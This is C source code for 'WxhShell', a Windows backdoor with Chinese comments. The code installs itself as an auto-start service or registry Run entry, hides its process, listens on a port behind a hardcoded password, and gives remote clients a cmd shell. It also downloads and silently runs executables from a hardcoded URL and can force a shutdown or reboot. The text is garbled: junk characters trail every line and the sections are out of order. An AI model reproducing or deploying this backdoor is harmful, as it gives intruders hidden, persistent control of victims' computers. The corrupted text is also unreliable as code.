    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v }\,o%t^  
    if(Boot(SHUTDOWN)) T .n4TmF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~*.-  
    else { ,S&z<S_  
    closesocket(wsh); ig!7BxM)<h  
    ExitThread(0); /+|#^:@  
    } /4irAG% Oj  
    break; se9>.}zZN  
    } e0HfP v_  
  // 获取shell 1AD]v<M  
  case 's': { y2|R.EU\m<  
    CmdShell(wsh); hdma=KqZ(  
    closesocket(wsh); y 1\'( 1  
    ExitThread(0); K8I$]M   
    break; l.+yn91%>  
  } vbG]mMJ  
  // 退出 ~AB*]Us  
  case 'x': { {XCf-{a]~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); </`yd2>  
    CloseIt(wsh); r 2:2,5_  
    break; CH#k(sy  
    } Ea $aUORm  
  // 离开 j2 %^qL  
  case 'q': { z@ 35NZn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,  X{>  
    closesocket(wsh); )Kd%\PP  
    WSACleanup(); T^.Cc--c  
    exit(1); aHzHvl  
    break; q(M:QWA q  
        } pv)`%<  
  } Nf41ZT~  
  } 9ooY?J  
{R6HG{"IS6  
  // 提示信息 z(y*hazK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D<$XyP  
} C#0Qd%  
  } @~td`Z?1 y  
[{u(C!7L`  
  return; ]e?x# <S  
} c3%@Wj:fo  
Fg]?zEa  
// shell模块句柄 sBX-X$*N  
int CmdShell(SOCKET sock) ^Q<mV*~  
{ _i0kc,*C\  
STARTUPINFO si; _l`e#XbG  
ZeroMemory(&si,sizeof(si)); 6A R2htN^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q!~ -(&S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a?h*eAAc.  
PROCESS_INFORMATION ProcessInfo; w4,Ag{t>  
char cmdline[]="cmd"; o`S ?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); OWq'[T4  
  return 0; 1 T<+d5[C  
} I{'f|+1  
`_ %S  
// 自身启动模式 aW_oD[l  
int StartFromService(void) PUJ2`iP1^3  
{ &<TzG B*  
typedef struct O Wp%v_y]  
{ B5%n(,Lx  
  DWORD ExitStatus; 72uz<i!&$  
  DWORD PebBaseAddress; {V19Zv"j  
  DWORD AffinityMask; uP $ Cj  
  DWORD BasePriority; zw<p74DH  
  ULONG UniqueProcessId; . 5y"38e  
  ULONG InheritedFromUniqueProcessId; ZzGahtx)Y  
}   PROCESS_BASIC_INFORMATION; y m,H@~  
9LnN$e  
PROCNTQSIP NtQueryInformationProcess; X!hIwiA,t  
E(pF:po  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {PU!=IkTS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'wasZ b<^  
_n8GWBi  
  HANDLE             hProcess; q<W=#Sx  
  PROCESS_BASIC_INFORMATION pbi; W<ZK,kv  
^>x|z.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ./vZe_o)j$  
  if(NULL == hInst ) return 0; AFvgbn8Qh  
,QIF &  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [jdFA<Is  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }GMbBZ:nKK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^jB8Q  
RrZM&lXY  
  if (!NtQueryInformationProcess) return 0; }kHdK vZ  
A5:qKaAq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BaF!O5M  
  if(!hProcess) return 0; 620%Z*   
IzOYduJ.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n"PJ,ao  
[D "t~QMr  
  CloseHandle(hProcess); Y}*\[}l:&x  
'n QVj  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5wao1sd#  
if(hProcess==NULL) return 0; )4U> !KrY  
w.\w1:d  
HMODULE hMod; [S]S^ej*8  
char procName[255]; tY${M^^<J  
unsigned long cbNeeded; vr^~yEr  
b+-f.!j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XKA&XpF  
5vAf7\*  
  CloseHandle(hProcess); @oF$LMD  
]r! >{  
if(strstr(procName,"services")) return 1; // 以服务启动 i@5[FC  
HW4 .zw  
  return 0; // 注册表启动 k#Of]mXXz  
} s`j~-P  
,21 np  
// 主模块 <:/&&@2  
int StartWxhshell(LPSTR lpCmdLine) XIo55*  
{ enNiI$H]`_  
  SOCKET wsl; m"\:o  
BOOL val=TRUE; .o1^Oh  
  int port=0; B&+`)E{KB  
  struct sockaddr_in door; Yb i%od&  
OJN2z  
  if(wscfg.ws_autoins) Install(); 5 8-e^.  
f %lD08Sl  
port=atoi(lpCmdLine); Sd/?&  
EpS(o>'  
if(port<=0) port=wscfg.ws_port; jc[_I&Oc_  
8[CB>-9  
  WSADATA data;  |{* }|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,mS/h~-5n  
SVlua@]ChU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ok7t@l$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Tu{&v'!j6  
  door.sin_family = AF_INET; :WI.LKlo~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +;g {$da5  
  door.sin_port = htons(port); XoL JL]+?  
[ xOzzp4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;= j@, yu  
closesocket(wsl); k:2QuG^  
return 1; C 3hv*  
} x^|Vaf  
IEjP<pLe  
  if(listen(wsl,2) == INVALID_SOCKET) { x83 !C}4:  
closesocket(wsl); Nw&!}#m  
return 1; h mx= 35  
} 9][(Iu]h7  
  Wxhshell(wsl); \T]EZ'+O  
  WSACleanup(); f\+f o  
Iz6y{E  
return 0; {e|*01hE  
G$'jEa<:u  
} v5;I]?72l~  
9Suu-A  
// 以NT服务方式启动 d_n7k g+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  ;N B:e  
{ <2!v(EkI  
DWORD   status = 0; >{eCh$L  
  DWORD   specificError = 0xfffffff; nzjkX4KV  
Wk:hFHs3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E_F5(x SA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }R3=fbe,\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +$xeoxU>;  
  serviceStatus.dwWin32ExitCode     = 0; Q'+MFld   
  serviceStatus.dwServiceSpecificExitCode = 0; P o jmC  
  serviceStatus.dwCheckPoint       = 0; E^GHVt/.  
  serviceStatus.dwWaitHint       = 0; 6{[pou&  
Am8x74?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [s9O0i" Y  
  if (hServiceStatusHandle==0) return; @prG%vb"  
+jg9$e"  
status = GetLastError(); JOjoiA  
  if (status!=NO_ERROR) 5Zmw} M  
{ oLWJm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i{!T&8  
    serviceStatus.dwCheckPoint       = 0; xD&^j$Em  
    serviceStatus.dwWaitHint       = 0; Lb{e,JH  
    serviceStatus.dwWin32ExitCode     = status; *Ype>x{  
    serviceStatus.dwServiceSpecificExitCode = specificError; @)kO=E d  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); DjU9 uZT  
    return; SVjl~U-^  
  } -",=G\XZ  
y%sroI('y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {k4CEt;  
  serviceStatus.dwCheckPoint       = 0; UA[,2MBp  
  serviceStatus.dwWaitHint       = 0; Cv$ SJc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9Rm/V5  
} f<+ 4rHT  
bX.ja;;   
// 处理NT服务事件,比如:启动、停止 $^&ig  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [Q\GxX.  
{ ?u4INZ0W  
switch(fdwControl) < Dx]b*H  
{ @ S<-d  
case SERVICE_CONTROL_STOP: 8 #ndFpu  
  serviceStatus.dwWin32ExitCode = 0; LPG`^SA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %{3 aW>yx  
  serviceStatus.dwCheckPoint   = 0; awv De  
  serviceStatus.dwWaitHint     = 0; h25G/`  
  { IHgeQ F ~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^xf<nNF:p  
  } oG$)UTzGc  
  return; L lBN-9p  
case SERVICE_CONTROL_PAUSE: liR ?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :K\mN/ x  
  break; O62b+%~F  
case SERVICE_CONTROL_CONTINUE: @&D?e:|!U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J$~<V IX  
  break; _U;eN|Ww  
case SERVICE_CONTROL_INTERROGATE: "cTncL  
  break; [-&L8Un  
}; )1g"?]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #fj/~[Ajv  
} 2F%W8Y 3  
LZ@|9!KDw  
// 标准应用程序主函数 & c Ny  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Mv c`)_Md  
{ pfx3C*  
 0l;<5  
// 获取操作系统版本 H+ h07\? %  
OsIsNt=GetOsVer(); x8;`i$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '0$?h9"  
&V>fYgui  
  // 从命令行安装 yr#5k`&\_  
  if(strpbrk(lpCmdLine,"iI")) Install(); ExHKw~y9  
\5Vde%!$Z  
  // 下载执行文件 Hi_ G  
if(wscfg.ws_downexe) { bCZ g cN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $A3<G-4O  
  WinExec(wscfg.ws_filenam,SW_HIDE); i{D=l7j|w  
} 1FtM>&%4  
uxg9yp@|  
if(!OsIsNt) { RzhWD^bB  
// 如果时win9x,隐藏进程并且设置为注册表启动 dD<fn9t  
HideProc(); TO2c"7td  
StartWxhshell(lpCmdLine); v^ d]r Sm  
} Jc)^49Rf  
else U/lM\3v/e  
  if(StartFromService()) nA?Hxos  
  // 以服务方式启动 zrVC8Wb  
  StartServiceCtrlDispatcher(DispatchTable); 6h3HDFS7s  
else 6Es? MW=  
  // 普通方式启动 T32BnmB{  
  StartWxhshell(lpCmdLine); y8VpFa  
Q-#$Aa  
return 0; l{w#H|]  
} smG>sEp2  
_2btfY1U  
LQnkcV  
10#oG{ 9  
=========================================== VL' fP2  
R:p62c;Tv0  
'03->7V  
%p&k5:4<"#  
 Av0y?oGH  
vpPl$ga5bY  
" V|)>{Xdn  
VL9-NfeqR  
#include <stdio.h> $8l({:*q0  
#include <string.h> bVmA tm[  
#include <windows.h> B*htN  
#include <winsock2.h> R(j1n,c]  
#include <winsvc.h> D@EO=08<b  
#include <urlmon.h> ,Ma.V\T[  
Y32O-I!9u  
#pragma comment (lib, "Ws2_32.lib") 4/ X/>Y1  
#pragma comment (lib, "urlmon.lib") ^$%Z! uz  
)Qm[[pnj  
#define MAX_USER   100 // 最大客户端连接数 "uLjIIl  
#define BUF_SOCK   200 // sock buffer +!f=jg06  
#define KEY_BUFF   255 // 输入 buffer ( 6(x'ByT  
\.XLcz  
#define REBOOT     0   // 重启 OL7_'2_z.  
#define SHUTDOWN   1   // 关机 ~lEVXea!  
%AF5=  
#define DEF_PORT   5000 // 监听端口 ,wKe fpV;5  
"l={)=R  
#define REG_LEN     16   // 注册表键长度 va f&X]p  
#define SVC_LEN     80   // NT服务名长度 )'l*Tl  
A?G IBjs  
// 从dll定义API 4`#F^2r!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vi@Lz3}::  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )m3q2W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &;LqF#ZL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I *c;H I  
0'&X T^"  
// wxhshell配置信息  n6F/Ac:  
struct WSCFG { C1T_9}L-A  
  int ws_port;         // 监听端口 , n !vsIN  
  char ws_passstr[REG_LEN]; // 口令 a:~@CUD >I  
  int ws_autoins;       // 安装标记, 1=yes 0=no _w@qr\4i=  
  char ws_regname[REG_LEN]; // 注册表键名 "QoQ4r<|  
  char ws_svcname[REG_LEN]; // 服务名 3cj3u4y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K!D o8|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yV)m"j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K; FW  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <lr*ZSNY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" H7i$xWs  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k {-  
k\Q ,h75  
}; d@mo!zu  
 2A4FaBq"  
// default Wxhshell configuration 2?@j~I=s2h  
struct WSCFG wscfg={DEF_PORT, &Bx J  
    "xuhuanlingzhe", -Xz?s  
    1, OT %nrzP  
    "Wxhshell", 1Xy]D  
    "Wxhshell", _DRrznaw  
            "WxhShell Service", BiE08,nj  
    "Wrsky Windows CmdShell Service", AvR2_  
    "Please Input Your Password: ", _<ut)G^9  
  1, g%[n4  
  "http://www.wrsky.com/wxhshell.exe", /8@m<CW2Y  
  "Wxhshell.exe" 0;,IKXK6X  
    }; s?WCnT  
()PKw,pD  
// 消息定义模块 F2(q>#<_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z,N$A7SBE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x0a.!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O!D/|.Q#%  
char *msg_ws_ext="\n\rExit."; u% 2<\:~j  
char *msg_ws_end="\n\rQuit."; ]L2Oz  
char *msg_ws_boot="\n\rReboot..."; elJ)4Em  
char *msg_ws_poff="\n\rShutdown..."; 9ykM3  
char *msg_ws_down="\n\rSave to "; "s W-_j]  
3`9{T>  
char *msg_ws_err="\n\rErr!"; wHz?#MW 3L  
char *msg_ws_ok="\n\rOK!"; /EwGW  
g|PC$p-z+  
char ExeFile[MAX_PATH]; 0f ER*.F  
int nUser = 0; F{k+7Ftc  
HANDLE handles[MAX_USER]; Dj-s5pAW  
int OsIsNt; [%HIbw J  
,]R8(bD)  
SERVICE_STATUS       serviceStatus; 3E} An%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jdeva t,&u  
^=cXo<6D  
// 函数声明 SM[{BH<  
int Install(void); tXF]t   
int Uninstall(void); (yQ 5`  
int DownloadFile(char *sURL, SOCKET wsh); {u7##Vrgt8  
int Boot(int flag); $ &5w\P  
void HideProc(void); g1DmV,W-Q  
int GetOsVer(void); T+"f]v  
int Wxhshell(SOCKET wsl); 8F;>5i  
void TalkWithClient(void *cs); zIQzmvf  
int CmdShell(SOCKET sock); _BnTv$.P  
int StartFromService(void); E]^5I3=O  
int StartWxhshell(LPSTR lpCmdLine); /I&wj^   
_17|U K|N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); uK*Nu^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); BpAB5=M0  
B7Ntk MK  
// 数据结构和表定义 5,+\`!g  
SERVICE_TABLE_ENTRY DispatchTable[] = )J/HkOj"V  
{ uMXc0fs!$  
{wscfg.ws_svcname, NTServiceMain}, .uZ7 -l  
{NULL, NULL} @^nu #R  
}; $%2_{m_K:p  
bv?0.{Z  
// 自我安装 OVoO6F ]  
int Install(void) f F?6j   
{ +R$?2  
  char svExeFile[MAX_PATH]; pL oy  
  HKEY key; "5DJu ~  
  strcpy(svExeFile,ExeFile); V7CoZnz  
vTr34n  
// 如果是win9x系统,修改注册表设为自启动 A,i()R'I  
if(!OsIsNt) {  vfvlB[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <FFJzNc+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cErI%v}v0  
  RegCloseKey(key); bk#xiuwT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fhp)S",  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RcY[rnI6  
  RegCloseKey(key); T)u4S[ &  
  return 0; s(@h 2:j  
    } f%^'P"R  
  } )jW(6  
} /dHs &SU,  
else { C77D{@SM  
#*IVlchA"B  
// 如果是NT以上系统,安装为系统服务 ;cP8?U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A-E+s~U8  
if (schSCManager!=0) <3 @}Lj  
{ $7gB_o$zz  
  SC_HANDLE schService = CreateService I{.HO<$7D}  
  ( Uf,fX/:!  
  schSCManager, m$UvFP1>u1  
  wscfg.ws_svcname, QrjDF>   
  wscfg.ws_svcdisp, i3V/`)iz  
  SERVICE_ALL_ACCESS, Hw_o w?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^^Lj I  
  SERVICE_AUTO_START, vd~U@-C=R  
  SERVICE_ERROR_NORMAL, :=g.o;(/N  
  svExeFile, ?#[)C=p]z  
  NULL, c;!g  
  NULL, Vb6K:ZnF  
  NULL, P;foK)AM  
  NULL, i&tsYnP2  
  NULL vb=CFV#  
  ); VZxTx0: ,  
  if (schService!=0) ~^o=a?L`<  
  { 'Tf9z+0;  
  CloseServiceHandle(schService); bAhZ7;T~  
  CloseServiceHandle(schSCManager); 4 \Di,PPu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?9?4p@  
  strcat(svExeFile,wscfg.ws_svcname); e9@(/+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R8sck)k'}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^" 6f\  
  RegCloseKey(key); a+(j ?_FyI  
  return 0; ?iSGH'[u  
    } )LFD6\z1pl  
  } ??xlA-E  
  CloseServiceHandle(schSCManager); ?vbDB4  
} [!+D <Y  
} !'c| N9  
uCUu!Vfeg  
return 1; c8Pb  
} jPwef##~7  
Z.jCera.  
// 自我卸载 3ut_Bt\  
int Uninstall(void) WM< \e  
{ G.jQX'%4QG  
  HKEY key; t[O+B 6  
rc~Y=m   
if(!OsIsNt) { Cg6;I.K   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "@t-Cy:!O  
  RegDeleteValue(key,wscfg.ws_regname); $[e%&h@JR  
  RegCloseKey(key); N du7nKG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [\HQPo'S  
  RegDeleteValue(key,wscfg.ws_regname); )+GX<2_  
  RegCloseKey(key); ,VG9)K 1K  
  return 0; A~y VYC6l  
  } R 7K  
} wXCyj+XB*  
} {visv{R<  
else { }u^:MI  
Ru7L>(Njs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Yf (im  
if (schSCManager!=0) HTNA])G  
{ +{vQS FW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &q>h *w4O  
  if (schService!=0) q!*MH/R  
  { c,BAa*]K  
  if(DeleteService(schService)!=0) { j;0ih_Z@4W  
  CloseServiceHandle(schService); iPFL"v<#J  
  CloseServiceHandle(schSCManager); M7 p8^NL  
  return 0; NKh,z& _5-  
  } u[[/w&UV.,  
  CloseServiceHandle(schService); (-2R{! A  
  } }:^XX0:FK  
  CloseServiceHandle(schSCManager); KZ\dB;W< |  
} sA2o2~AmM  
} jEE_D +K  
Q!) z)-hI  
return 1; bw;iz ,Z  
} 1}DerX6  
:|($,3*  
// 从指定url下载文件 It\BbG=  
int DownloadFile(char *sURL, SOCKET wsh) -d_ 7*>m$  
{ &Q+]t"OA!  
  HRESULT hr; w%~qB5wF6  
char seps[]= "/"; Zjt9vS)  
char *token; R`3x=q  
char *file; JJNmpUJ  
char myURL[MAX_PATH]; 5=.7\#D  
char myFILE[MAX_PATH]; yTj p-  
uXP- J]>  
strcpy(myURL,sURL); WhenwQT  
  token=strtok(myURL,seps); scmto cm  
  while(token!=NULL) 3DI^y` av  
  { G4);/#  
    file=token; 5F03y`@ u  
  token=strtok(NULL,seps); `E%(pjG  
  } |w,^"j2R  
u= l0f6W  
GetCurrentDirectory(MAX_PATH,myFILE); r'PE5xqF  
strcat(myFILE, "\\"); SNxz*`@4  
strcat(myFILE, file); T:'+6  
  send(wsh,myFILE,strlen(myFILE),0); * S{\#s  
send(wsh,"...",3,0); {Ot[WF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KMe.i'  
  if(hr==S_OK) , Z4p0M  
return 0; !r2}59 J  
else =_pmy>_z  
return 1; .Wh6(LDY(  
Q%$i@JH`m  
} 2}|vWKej{  
B*BHF95!  
// 系统电源模块 'iGMn_&  
int Boot(int flag) W=M< c@  
{ <EOg,"F  
  HANDLE hToken; D~7%};D[  
  TOKEN_PRIVILEGES tkp; y#nSk% "t"  
w0\4Wa  
  if(OsIsNt) { L&rO  6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); - Ra\^uz  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'bG1U`v=3  
    tkp.PrivilegeCount = 1; (T4k~T`3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UT % #K%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I}1fEw>8  
if(flag==REBOOT) { ?Ip$;s  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0rGj|@+;  
  return 0; yCZ2^P!a  
} (kdC1,E  
else { ]&/0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @s3aR*ny$  
  return 0; i{4'cdr?  
} '%3u%;"  
  } ?F!W#   
  else { XZ!cW=bqS  
if(flag==REBOOT) { 7-(>"75Q|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e|35|I '  
  return 0; \}n !yYh(  
} {W]bU{%.  
else { v5P*<U Ax  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /1H9z`qV  
  return 0; rn[$x(G  
} ,WzG.3^m  
} `s#sE.=o  
]9dx3<2_I  
return 1; Am]2@ESUP  
} VoWA tNU  
m]Hb+Y=;h  
// win9x进程隐藏模块 o8iig5bp  
void HideProc(void) oPp!*$V  
{ Qs~d_;  
<e$5~Spc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^7J~W'hI  
  if ( hKernel != NULL ) xNocGtS  
  { c&0;wgieg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G%y>:$rw[O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); EaJDz`T}  
    FreeLibrary(hKernel); ~r{\WZ.  
  } J~M H_N  
|;X?">7NW  
return; N:"M&E UM  
} 7AS.)Q#=x  
Smi%dp.  
// 获取操作系统版本 H^]Nmd8Q)  
int GetOsVer(void) ce 7Yr*ZB  
{  n.=e)*  
  OSVERSIONINFO winfo; o",f(v&u%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N`y}Gs  
  GetVersionEx(&winfo); "u .)X3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yBJ/>SAcG  
  return 1; +e&m#d  
  else ~W]#9&yQ  
  return 0; \9[NH/.Z{  
} HTR "mQ  
x e"4u JO  
// 客户端句柄模块 c13vEn!c  
int Wxhshell(SOCKET wsl) D|u^8\'.  
{ tjBh$)  
  SOCKET wsh; H5 p}Le  
  struct sockaddr_in client; 3ybK6!g`[  
  DWORD myID; JUe K"|fA  
CwTS/G  
  while(nUser<MAX_USER) 2GHXn:V  
{ i*mZi4URN  
  int nSize=sizeof(client);  '7S!6kd?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .E?bH V  
  if(wsh==INVALID_SOCKET) return 1; chvrHvByS  
4*@G&v?n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .( TQ5/ ~  
if(handles[nUser]==0) vkDZv@  
  closesocket(wsh); 3I(dC|d  
else f}Ne8]U/Hc  
  nUser++; s9ju/+fv  
  } f.U0E6-(3N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z 'vdC  
Tx|SAa=V  
  return 0; v^ y}lT  
} ,(;p(#F>  
+ cV5h  
// 关闭 socket 1]D/3!  
void CloseIt(SOCKET wsh) k;"R y8[k  
{ A{DIp+  
closesocket(wsh); WI*^+E&=*  
nUser--; c%xED%X9  
ExitThread(0); F]URf&U  
} t  z +  
wHB Hkz  
// 客户端请求句柄 CrRQPgl+u  
void TalkWithClient(void *cs) 60U{ e}Mkb  
{ !0!P.Q8>&  
i/C -{+}U  
  SOCKET wsh=(SOCKET)cs; zR3lX}g  
  char pwd[SVC_LEN]; PMz{8 F  
  char cmd[KEY_BUFF]; []6ShcqJ[v  
char chr[1]; r?Zy-yQ  
int i,j; C{d 8~6  
`g4Ekp'Rp[  
  while (nUser < MAX_USER) { pQ[o3p!&9  
=:CGl   
if(wscfg.ws_passstr) { h;4y=UU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); P!)7\.7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R"9oMaY  
  //ZeroMemory(pwd,KEY_BUFF); M[`w{A  
      i=0; kB$,1J$q  
  while(i<SVC_LEN) { BCa90  
&2P:A  
  // 设置超时 k@cZ"jYA  
  fd_set FdRead; yP<:iCY  
  struct timeval TimeOut; G>_42Rp  
  FD_ZERO(&FdRead); (d5vH)+ A  
  FD_SET(wsh,&FdRead); N>cp>&jV  
  TimeOut.tv_sec=8; k vue@  
  TimeOut.tv_usec=0; }e/[$!35  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vJ'yz#tl9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4cErk)F4  
Yq)YS]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m&8U4uHN  
  pwd=chr[0]; F=*BvI "+  
  if(chr[0]==0xd || chr[0]==0xa) { }K#&5E  
  pwd=0; Y_Z &p#Q!  
  break; P&-D0T_  
  } @]y{M;  
  i++; 8IT_mjj  
    } NXWIE4T>*^  
QvK]<HEr  
  // 如果是非法用户,关闭 socket DS[l,x  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )=,9`+Zta  
} u #=kb5}{  
bz}AO))Hk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xRTg [  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vBCZ/F[  
[# tT o;q  
while(1) { pT_e;,KW U  
:(S/$^U  
  ZeroMemory(cmd,KEY_BUFF); @tjZvRtZ  
%xbz&'W,  
      // 自动支持客户端 telnet标准   &ls!IN  
  j=0; =?I1V#.  
  while(j<KEY_BUFF) { Z|cTzunp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a dz;N;rIY  
  cmd[j]=chr[0]; @$b+~X)7  
  if(chr[0]==0xa || chr[0]==0xd) { um_M}t{  
  cmd[j]=0; !w;A=  
  break; v#<+n{B  
  } q=E}#[EgY  
  j++; [V#&sAe  
    } u {E^<fW]  
5Ky9Pz  
  // 下载文件 e G*s1uQl  
  if(strstr(cmd,"http://")) { EDa08+Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U7f&N  
  if(DownloadFile(cmd,wsh)) NkjQyMF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); No92Y^~/  
  else OL mBh3&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aD2CDu  
  } ezq q@t9  
  else { N:gstp  
]TTJrC:  
    switch(cmd[0]) { [(e`b  
  Jk6/i;4|  
  // 帮助 $nD k mKl  
